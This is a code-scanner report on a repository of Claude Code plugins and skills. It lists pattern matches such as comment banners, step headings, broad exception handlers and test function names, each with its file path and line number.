A single hub to find Claude Skills, Agents, Commands, Hooks, Plugins, and Marketplace collections to extend Claude Code, Claude Desktop, Agent SDK and OpenClaw
This report summarizes scanner evidence for davepoon/buildwithclaude, a Python project with 3,619 GitHub stars. SynthScan examined 322,534 lines of code across 2079 source files, recording 1347 pattern matches distributed across 21 syntactic categories. The legacy adjusted pattern signal is 7.5 (Moderate pattern signal); it is not an authorship estimate.
Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.
Use each vector to guide manual verification of the underlying findings.
Can maintainers explain intent, assumptions, and trade-offs? 866 finding(s).
Are imports declared and package/API names verified? 110 finding(s).
Are wrappers, guards, and repeated structures necessary? 537 finding(s).
Which changes need focused human review? 1347 finding(s).
Run additional scans to build a history of the legacy pattern signal. Score changes are not a measure of AI adoption or code quality.
Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.
This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.
The scanner identified 1347 distinct pattern matches across 21 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | plugins/project-boundary/hooks/lib/git_walkers.sh | 3 | # ================================================= | COMMENT |
| MEDIUM | …ns/project-boundary/hooks/lib/cd_destructive_walker.sh | 3 | # ============================================================== | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/remote_dispatch.sh | 3 | # ================================================ | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/command_name.sh | 3 | # ============================================= | COMMENT |
| MEDIUM | …ugins/project-boundary/hooks/lib/shell_exec_walkers.sh | 3 | # =============================================================== | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/tokenize.sh | 3 | # ========================================= | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/options.sh | 3 | # ======================================== | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/subcmd_flags.sh | 3 | # ============================================= | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/paths.sh | 3 | # ====================================== | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/heredoc.sh | 3 | # ======================================== | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/expansion_blocks.sh | 3 | # =============================================================== | COMMENT |
| MEDIUM | …gins/project-boundary/hooks/lib/detectors/redirects.sh | 3 | # =============================================================== | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/detectors/db_dump.sh | 3 | # ============================================================= | COMMENT |
| MEDIUM | …ns/project-boundary/hooks/lib/detectors/permissions.sh | 3 | # ========================================================= | COMMENT |
| MEDIUM | …/project-boundary/hooks/lib/detectors/write_targets.sh | 3 | # ================================================== | COMMENT |
| MEDIUM | …ns/project-boundary/hooks/lib/detectors/destructive.sh | 3 | # =========================================================== | COMMENT |
| MEDIUM | …ject-boundary/hooks/lib/detectors/filesystem_create.sh | 3 | # ============================================================ | COMMENT |
| MEDIUM | …ugins/project-boundary/hooks/lib/detectors/download.sh | 3 | # ========================================================= | COMMENT |
| MEDIUM | plugins/project-boundary/hooks/lib/detectors/inplace.sh | 3 | # ===================================================== | COMMENT |
| MEDIUM | plugins/claude-ops/skills/ops-package/ops-package.sh | 111 | # ─── dispatch ───────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …l-skills/skills/voice-persona/scripts/voice_persona.py | 24 | # ═══════════════ 人格库（可自行增删） ═══════════════ | COMMENT |
| MEDIUM | …l-skills/skills/voice-persona/scripts/voice_persona.py | 56 | # ═══════════════ 一、STT：语音 → 文字 ═══════════════ | COMMENT |
| MEDIUM | …l-skills/skills/voice-persona/scripts/voice_persona.py | 78 | # ═══════════════ 二、人格化：文字 → 人格口吻 ═══════════════ | COMMENT |
| MEDIUM | …l-skills/skills/voice-persona/scripts/voice_persona.py | 107 | # ═══════════════ 三、TTS：文字 → 语音 ═══════════════ | COMMENT |
| MEDIUM | …l-skills/skills/voice-persona/scripts/voice_persona.py | 119 | # ═══════════════ 四、silk 编码：语音回发微信（双向闭环） ═══════════════ | COMMENT |
| MEDIUM | …l-skills/skills/voice-persona/scripts/voice_persona.py | 154 | # ═══════════════ demo：免 key 全链路自测 ═══════════════ | COMMENT |
| MEDIUM⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 71 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 73 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 79 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 81 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 193 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 195 | # ============================================================================ | COMMENT |
| MEDIUM | …s/ecommerce-material-studio/scripts/batch_processor.py | 355 | # ============================================================================ | COMMENT |
| MEDIUM | …s/ecommerce-material-studio/scripts/batch_processor.py | 357 | # ============================================================================ | COMMENT |
| MEDIUM | …s/ecommerce-material-studio/scripts/batch_processor.py | 587 | # ============================================================================ | COMMENT |
| MEDIUM | …s/ecommerce-material-studio/scripts/batch_processor.py | 589 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …ecommerce-material-studio/scripts/delivery_packager.py | 288 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …ecommerce-material-studio/scripts/delivery_packager.py | 290 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …ecommerce-material-studio/scripts/delivery_packager.py | 508 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …ecommerce-material-studio/scripts/delivery_packager.py | 510 | # ============================================================================ | COMMENT |
| MEDIUM | …ecommerce-material-studio/scripts/delivery_packager.py | 41 | # ============================================================================ | COMMENT |
| MEDIUM | …ecommerce-material-studio/scripts/delivery_packager.py | 43 | # ============================================================================ | COMMENT |
| MEDIUM | …ecommerce-material-studio/scripts/delivery_packager.py | 127 | # ============================================================================ | COMMENT |
| MEDIUM | …ecommerce-material-studio/scripts/delivery_packager.py | 129 | # ============================================================================ | COMMENT |
| MEDIUM | …ecommerce-material-studio/scripts/delivery_packager.py | 232 | # ============================================================================ | COMMENT |
| MEDIUM | …ecommerce-material-studio/scripts/delivery_packager.py | 234 | # ============================================================================ | COMMENT |
| MEDIUM | …ecommerce-material-studio/scripts/delivery_packager.py | 647 | # ============================================================================ | COMMENT |
| MEDIUM | …ecommerce-material-studio/scripts/delivery_packager.py | 649 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 35 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 37 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 101 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 103 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 160 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 162 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 211 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 213 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 283 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 285 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 331 | # ============================================================================ | COMMENT |
| MEDIUM | …/ecommerce-material-studio/scripts/platform_adapter.py | 333 | # ============================================================================ | COMMENT |
| 157 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | …s-documentation-changelogs/commands/migration-guide.md | 46 | ## Step 1: Environment Setup | COMMENT |
| LOW⚡ | …s-documentation-changelogs/commands/migration-guide.md | 52 | ## Step 2: Dependencies Update | COMMENT |
| LOW⚡ | …s-documentation-changelogs/commands/migration-guide.md | 58 | ## Step 3: Code Migration | COMMENT |
| LOW | plugins/meeting-bots/skills/meeting/SKILL.md | 64 | ## Step 0: pick a team | COMMENT |
| LOW | plugins/meeting-bots/skills/meeting/SKILL.md | 81 | ## Step 1: confirm or customize the lineup | COMMENT |
| LOW | plugins/meeting-bots/skills/meeting/SKILL.md | 141 | ## Step 2: get the topic | COMMENT |
| LOW | plugins/meeting-bots/skills/meeting/SKILL.md | 145 | ## Step 3: prepare the transcript file | COMMENT |
| LOW | plugins/meeting-bots/skills/meeting/SKILL.md | 169 | ## Step 4: round 1, opening statements (parallel) | COMMENT |
| LOW | plugins/meeting-bots/skills/meeting/SKILL.md | 214 | ## Step 5: round 2, rebuttals (parallel) | COMMENT |
| LOW | plugins/meeting-bots/skills/meeting/SKILL.md | 241 | ## Step 6: round 3, closing statements (parallel) | COMMENT |
| LOW | plugins/meeting-bots/skills/meeting/SKILL.md | 271 | ## Step 7: Boss synthesis | COMMENT |
| LOW | plugins/meeting-bots/skills/meeting/SKILL.md | 331 | ## Step 8: ask for pushback or close | COMMENT |
| LOW | plugins/nextjs-expert/commands/scaffold.md | 18 | ### Step 1: Gather Requirements | COMMENT |
| LOW | plugins/nextjs-expert/commands/scaffold.md | 29 | ### Step 2: Analyze Existing Patterns | COMMENT |
| LOW⚡ | plugins/nextjs-expert/commands/scaffold.md | 44 | ### Step 3: Apply Skills | COMMENT |
| LOW⚡ | plugins/nextjs-expert/commands/scaffold.md | 54 | ### Step 4: Generate Code | COMMENT |
| LOW⚡ | plugins/nextjs-expert/commands/scaffold.md | 62 | ### Step 5: Verify | COMMENT |
| LOW | plugins/nextjs-expert/commands/add-auth.md | 19 | ### Step 1: Assess Current State | COMMENT |
| LOW | plugins/nextjs-expert/commands/add-auth.md | 30 | ### Step 2: Ask About Requirements | COMMENT |
| LOW | plugins/nextjs-expert/commands/add-auth.md | 38 | ### Step 3: Install Dependencies | COMMENT |
| LOW | plugins/nextjs-expert/commands/add-auth.md | 50 | ### Step 4: Create Auth Configuration | COMMENT |
| LOW⚡ | plugins/nextjs-expert/commands/add-auth.md | 62 | ### Step 5: Add Middleware | COMMENT |
| LOW⚡ | plugins/nextjs-expert/commands/add-auth.md | 69 | ### Step 6: Update Database Schema | COMMENT |
| LOW⚡ | plugins/nextjs-expert/commands/add-auth.md | 77 | ### Step 7: Create Auth Components | COMMENT |
| LOW⚡ | plugins/nextjs-expert/commands/add-auth.md | 84 | ### Step 8: Environment Variables | COMMENT |
| LOW | plugins/nextjs-expert/commands/optimize.md | 17 | ### Step 1: Analyze Current State | COMMENT |
| LOW | plugins/nextjs-expert/commands/optimize.md | 46 | ### Step 2: Apply Skills | COMMENT |
| LOW | plugins/nextjs-expert/commands/optimize.md | 54 | ### Step 3: Generate Report | COMMENT |
| LOW⚡ | plugins/all-commands/commands/issue-triage.md | 215 | // Step 1: Analyze | COMMENT |
| LOW⚡ | plugins/all-commands/commands/issue-triage.md | 219 | // Step 2: Check duplicates | COMMENT |
| LOW⚡ | plugins/all-commands/commands/issue-triage.md | 225 | // Step 3: Determine routing | COMMENT |
| LOW⚡ | plugins/all-commands/commands/issue-triage.md | 233 | // Step 4: Create Linear task | COMMENT |
| LOW⚡ | plugins/all-commands/commands/issue-triage.md | 237 | // Step 5: Update GitHub | COMMENT |
| LOW⚡ | plugins/all-commands/commands/issue-triage.md | 240 | // Step 6: Notify stakeholders | COMMENT |
| LOW⚡ | plugins/all-commands/commands/migration-guide.md | 46 | ## Step 1: Environment Setup | COMMENT |
| LOW⚡ | plugins/all-commands/commands/migration-guide.md | 52 | ## Step 2: Dependencies Update | COMMENT |
| LOW⚡ | plugins/all-commands/commands/migration-guide.md | 58 | ## Step 3: Code Migration | COMMENT |
| LOW | …ns/all-commands/commands/create-database-migrations.md | 406 | // Step 1: Create temporary backup | COMMENT |
| LOW | …ns/all-commands/commands/create-database-migrations.md | 414 | // Step 2: Migrate data in batches | COMMENT |
| LOW | …ns/all-commands/commands/create-database-migrations.md | 439 | // Step 3: Validate migration | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 374 | # Step 1: Upload image | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 404 | # Step 2: Create ad creative | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 416 | # Step 3: Create ad (status PAUSED — Rule 5) | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 807 | # Step 1: List available audiences so user can pick one | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 815 | # Step 2: Create export | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 837 | # Step 3: Poll until ACTIVE or FAILED | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 855 | # Step 4: Query results | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 1079 | # Step 1: Create media container | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 1092 | # Step 2: Publish | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 1114 | # Step 1: Create video container (async — must poll for status) | COMMENT |
| LOW | plugins/claude-ops/skills/ops-marketing/SKILL.md | 1141 | # Step 2: Publish | COMMENT |
| LOW⚡ | plugins/frontend-design-pro/commands/analyze-site.md | 33 | ### Step 1: Get URL | COMMENT |
| LOW⚡ | plugins/frontend-design-pro/commands/analyze-site.md | 39 | ### Step 2: Browser Setup | COMMENT |
| LOW⚡ | plugins/frontend-design-pro/commands/analyze-site.md | 47 | ### Step 3: Navigate and Capture | COMMENT |
| LOW⚡ | plugins/frontend-design-pro/commands/analyze-site.md | 57 | ### Step 4: Capture Multiple Views | COMMENT |
| LOW | plugins/frontend-design-pro/commands/analyze-site.md | 70 | ### Step 5: Analyze Elements | COMMENT |
| LOW | plugins/frontend-design-pro/commands/analyze-site.md | 105 | ### Step 6: Generate Report | COMMENT |
| LOW | plugins/frontend-design-pro/commands/review.md | 28 | ### Step 1: Get File | COMMENT |
| LOW | plugins/frontend-design-pro/commands/review.md | 39 | ### Step 2: Read the File | COMMENT |
| LOW | plugins/frontend-design-pro/commands/review.md | 45 | ### Step 3: Anti-Pattern Check | COMMENT |
| 289 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …l-skills/skills/voice-persona/scripts/voice_persona.py | 85 | except Exception: | CODE |
| LOW | …l-skills/skills/voice-persona/scripts/voice_persona.py | 162 | except Exception: | CODE |
| LOW | …ills/skills/video-downloader/scripts/download_video.py | 232 | except Exception as e: | CODE |
| LOW | plugins/all-skills/skills/xlsx/recalc.py | 49 | except Exception: | CODE |
| LOW | plugins/all-skills/skills/xlsx/recalc.py | 154 | except Exception as e: | CODE |
| LOW | plugins/all-skills/skills/pdf/reference.md | 484 | except Exception as e: | CODE |
| LOW | plugins/all-skills/skills/pdf/reference.md | 504 | except Exception as e: | CODE |
| LOW | plugins/all-skills/skills/pdf/reference.md | 578 | except Exception as e: | CODE |
| LOW | …/all-skills/skills/skill-creator/scripts/init_skill.py | 217 | except Exception as e: | CODE |
| LOW | …/all-skills/skills/skill-creator/scripts/init_skill.py | 232 | except Exception as e: | CODE |
| LOW | …/all-skills/skills/skill-creator/scripts/init_skill.py | 259 | except Exception as e: | CODE |
| LOW | …l-skills/skills/skill-creator/scripts/package_skill.py | 80 | except Exception as e: | CODE |
| LOW | plugins/all-skills/skills/pptx/ooxml/scripts/pack.py | 128 | except Exception as e: | CODE |
| MEDIUM | …ugins/all-skills/skills/pptx/ooxml/scripts/validate.py | 52 | print(f"Error: Validation not supported for file type {file_extension}") | CODE |
| LOW⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 187 | except Exception as e: | CODE |
| MEDIUM⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 188 | print(f"Error counting paragraphs in unpacked document: {e}") | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 211 | except Exception as e: | CODE |
| MEDIUM | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 212 | print(f"Error counting paragraphs in original document: {e}") | CODE |
| LOW | …ills/skills/pptx/ooxml/scripts/validation/redlining.py | 59 | except Exception: | CODE |
| LOW | …ills/skills/pptx/ooxml/scripts/validation/redlining.py | 71 | except Exception as e: | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 228 | except Exception as e: | CODE |
| LOW⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 471 | except Exception as e: | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 140 | except Exception as e: | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 359 | except Exception as e: | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 604 | except Exception: | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 626 | except Exception as e: | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 866 | except Exception as e: | CODE |
| MEDIUM | plugins/all-skills/skills/pptx/scripts/thumbnail.py | 100 | print(f"Error: Invalid PowerPoint file: {args.input}") | CODE |
| MEDIUM | plugins/all-skills/skills/pptx/scripts/thumbnail.py | 124 | print("Error: No slides found") | CODE |
| LOW⚡ | plugins/all-skills/skills/pptx/scripts/thumbnail.py | 144 | except Exception as e: | CODE |
| MEDIUM⚡ | plugins/all-skills/skills/pptx/scripts/thumbnail.py | 145 | print(f"Error: {e}") | CODE |
| LOW | plugins/all-skills/skills/pptx/scripts/thumbnail.py | 351 | except Exception: | CODE |
| MEDIUM⚡ | plugins/all-skills/skills/pptx/scripts/rearrange.py | 58 | print(f"Error: Template file not found: {args.template}") | STRING |
| MEDIUM⚡ | plugins/all-skills/skills/pptx/scripts/rearrange.py | 68 | print(f"Error: {e}") | STRING |
| LOW⚡ | plugins/all-skills/skills/pptx/scripts/rearrange.py | 70 | except Exception as e: | STRING |
| MEDIUM⚡ | plugins/all-skills/skills/pptx/scripts/rearrange.py | 71 | print(f"Error processing presentation: {e}") | STRING |
| LOW | plugins/all-skills/skills/pptx/scripts/rearrange.py | 124 | except Exception: | CODE |
| MEDIUM | plugins/all-skills/skills/pptx/scripts/inventory.py | 84 | print(f"Error: Input file not found: {args.input}") | STRING |
| MEDIUM | plugins/all-skills/skills/pptx/scripts/inventory.py | 88 | print("Error: Input must be a PowerPoint file (.pptx)") | STRING |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 120 | except Exception as e: | STRING |
| MEDIUM | plugins/all-skills/skills/pptx/scripts/inventory.py | 121 | print(f"Error processing presentation: {e}") | STRING |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 384 | except Exception: | CODE |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 504 | except Exception: | CODE |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 601 | except Exception: | CODE |
| MEDIUM⚡ | plugins/all-skills/skills/pptx/scripts/replace.py | 367 | print(f"Error: Input file '{input_pptx}' not found") | CODE |
| MEDIUM⚡ | plugins/all-skills/skills/pptx/scripts/replace.py | 371 | print(f"Error: Replacements JSON file '{replacements_json}' not found") | CODE |
| LOW⚡ | plugins/all-skills/skills/pptx/scripts/replace.py | 376 | except Exception as e: | CODE |
| MEDIUM⚡ | plugins/all-skills/skills/pptx/scripts/replace.py | 377 | print(f"Error applying replacements: {e}") | CODE |
| MEDIUM⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 172 | print(f"Error: 产品列表文件不存在: {input_file}", file=sys.stderr) | CODE |
| MEDIUM⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 179 | print("Error: 产品列表必须是JSON数组", file=sys.stderr) | CODE |
| MEDIUM⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 185 | print(f"Error: 产品[{i}]缺少必填字段 product_image", file=sys.stderr) | CODE |
| MEDIUM | …s/ecommerce-material-studio/scripts/batch_processor.py | 137 | print(f"Error: 状态文件不存在: {status_file}", file=sys.stderr) | CODE |
| MEDIUM | …s/ecommerce-material-studio/scripts/batch_processor.py | 437 | print(f"Error: 未找到产品 {product_id}", file=sys.stderr) | CODE |
| MEDIUM | …s/ecommerce-material-studio/scripts/batch_processor.py | 458 | print(f"Error: 未找到产品 {product_id}", file=sys.stderr) | CODE |
| LOW⚡ | …s/ecommerce-material-studio/scripts/batch_processor.py | 243 | except Exception as e: | CODE |
| LOW | …s/ecommerce-material-studio/scripts/batch_processor.py | 277 | except Exception as e: | CODE |
| LOW | …s/ecommerce-material-studio/scripts/batch_processor.py | 337 | except Exception as e: | CODE |
| LOW⚡ | …ecommerce-material-studio/scripts/delivery_packager.py | 283 | except Exception as e: | CODE |
| LOW⚡ | …ecommerce-material-studio/scripts/delivery_packager.py | 504 | except Exception: | CODE |
| LOW | …ecommerce-material-studio/scripts/delivery_packager.py | 176 | except Exception: | CODE |
| 64 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | plugins/tlsradar/scripts/dns_provider.py | 155 | def cloudflare_record_payload(name: str, value: str) -> dict: | CODE |
| LOW | plugins/tlsradar/scripts/dns_provider_test.py | 50 | def test_txt_value_is_double_quoted(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 63 | def test_embedded_quotes_escaped(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 69 | def test_exact_match_returns_id(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 73 | def test_non_exact_first_zone_is_rejected(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 100 | def test_unrelated_zone_rejected(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 105 | def test_suffix_confusion_rejected(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 110 | def test_missing_prefix_rejected(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 114 | def test_bad_value_charset_rejected(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 123 | def test_shell_metacharacters_in_value_rejected(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 130 | def test_shell_metacharacters_in_name_rejected(self): | CODE |
| LOW | plugins/tlsradar/scripts/dns_provider_test.py | 152 | def test_rejects_non_string_fields(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 185 | def test_malicious_value_rejected_no_provider_call(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 190 | def test_wrong_zone_name_rejected_no_provider_call(self): | CODE |
| LOW⚡ | plugins/tlsradar/scripts/dns_provider_test.py | 195 | def test_valid_records_reach_provider(self): | CODE |
| LOW | plugins/all-commands/commands/write-tests.md | 154 | def test_should_handle_valid_input(self): | CODE |
| LOW | plugins/all-commands/commands/setup-rate-limiting.md | 1637 | function createTestAppWithShortWindow(windowMs) { | CODE |
| LOW | …commands-code-analysis-testing/commands/write-tests.md | 154 | def test_should_handle_valid_input(self): | CODE |
| LOW⚡ | …/all-skills/skills/x-research/scripts/test_x_client.py | 22 | def test_loads_key_from_agentbody_credentials(self): | CODE |
| LOW⚡ | …/all-skills/skills/x-research/scripts/test_x_client.py | 30 | def test_local_credentials_override_process_environment(self): | CODE |
| LOW⚡ | …/all-skills/skills/x-research/scripts/test_x_client.py | 38 | def test_supported_commands_map_to_agentbody_routes_and_snake_case(self): | CODE |
| LOW | …/all-skills/skills/x-research/scripts/test_x_client.py | 61 | def test_account_errors_are_actionable_and_do_not_expose_raw_body(self): | CODE |
| LOW | …ills/skills/video-downloader/scripts/download_video.py | 54 | def _ensure_skill_venv_yt_dlp() -> list[str]: | STRING |
| LOW | …ills/skills/video-downloader/scripts/download_video.py | 109 | def validate_youtube_https_url(url: str) -> str: | CODE |
| LOW | …lls/skills/atlas-cloud-media/tests/test_atlas_media.py | 72 | def test_generate_submits_once_and_only_polls_with_get(self): | CODE |
| LOW | …lls/skills/atlas-cloud-media/tests/test_atlas_media.py | 116 | def test_missing_required_parameter_stops_before_post(self): | CODE |
| LOW | …/all-skills/skills/pdf/scripts/fill_fillable_fields.py | 59 | def validation_error_for_field_value(field_info, field_value): | CODE |
| LOW | …l-skills/skills/pdf/scripts/extract_form_field_info.py | 12 | def get_full_annotation_field_id(annotation): | CODE |
| LOW | …/all-skills/skills/pdf/scripts/check_bounding_boxes.py | 18 | def get_bounding_box_messages(fields_json_stream) -> list[str]: | CODE |
| LOW | …skills/skills/pdf/scripts/check_bounding_boxes_test.py | 38 | def test_label_entry_intersection_same_field(self): | CODE |
| LOW | …skills/skills/pdf/scripts/check_bounding_boxes_test.py | 56 | def test_intersection_between_different_fields(self): | CODE |
| LOW | …skills/skills/pdf/scripts/check_bounding_boxes_test.py | 80 | def test_different_pages_no_intersection(self): | CODE |
| LOW | …skills/skills/pdf/scripts/check_bounding_boxes_test.py | 104 | def test_entry_height_too_small(self): | CODE |
| LOW | …skills/skills/pdf/scripts/check_bounding_boxes_test.py | 125 | def test_entry_height_adequate(self): | CODE |
| LOW | …skills/skills/pdf/scripts/check_bounding_boxes_test.py | 183 | def test_multiple_errors_limit(self): | CODE |
| LOW | …ll-skills/skills/muapi-media/tests/test_muapi_media.py | 16 | def test_models_reads_top_level_models_and_filters_image_categories(self): | CODE |
| LOW | …ll-skills/skills/muapi-media/tests/test_muapi_media.py | 30 | def test_generate_uses_catalog_endpoint_once_and_polls_get(self): | CODE |
| LOW⚡ | …ll-skills/skills/muapi-media/tests/test_muapi_media.py | 57 | def test_generation_requires_paid_confirmation(self): | CODE |
| LOW⚡ | …ll-skills/skills/muapi-media/tests/test_muapi_media.py | 61 | def test_generation_requires_a_prompt(self): | CODE |
| LOW⚡ | …ll-skills/skills/muapi-media/tests/test_muapi_media.py | 65 | def test_endpoint_identifier_is_supported_without_double_prefix(self): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 72 | def validate_whitespace_preservation(self): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 173 | def count_paragraphs_in_unpacked(self): | CODE |
| LOW⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 192 | def count_paragraphs_in_original(self): | CODE |
| LOW | …ills/skills/pptx/ooxml/scripts/validation/redlining.py | 217 | def _remove_claude_tracked_changes(self, root): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 128 | def validate_slide_layout_ids(self): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 203 | def validate_no_duplicate_slide_layouts(self): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 243 | def validate_notes_slide_references(self): | CODE |
| LOW⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 765 | def _clean_ignorable_namespaces(self, xml_doc): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 388 | def validate_all_relationship_ids(self): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 486 | def _get_expected_relationship_type(self, element_name): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 641 | def validate_file_against_xsd(self, xml_file, verbose=False): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 791 | def _remove_ignorable_elements(self, root): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 815 | def _preprocess_for_mc_ignorable(self, xml_doc): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 826 | def _validate_single_file_xsd(self, xml_file, base_path): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 869 | def _get_original_file_errors(self, xml_file): | CODE |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 906 | def _remove_template_tags_from_text_nodes(self, xml_doc): | CODE |
| LOW⚡ | plugins/all-skills/skills/pptx/scripts/thumbnail.py | 149 | def create_hidden_slide_placeholder(size): | CODE |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 639 | def _calculate_slide_overflow(self) -> None: | CODE |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 766 | def collect_shapes_with_absolute_positions( | CODE |
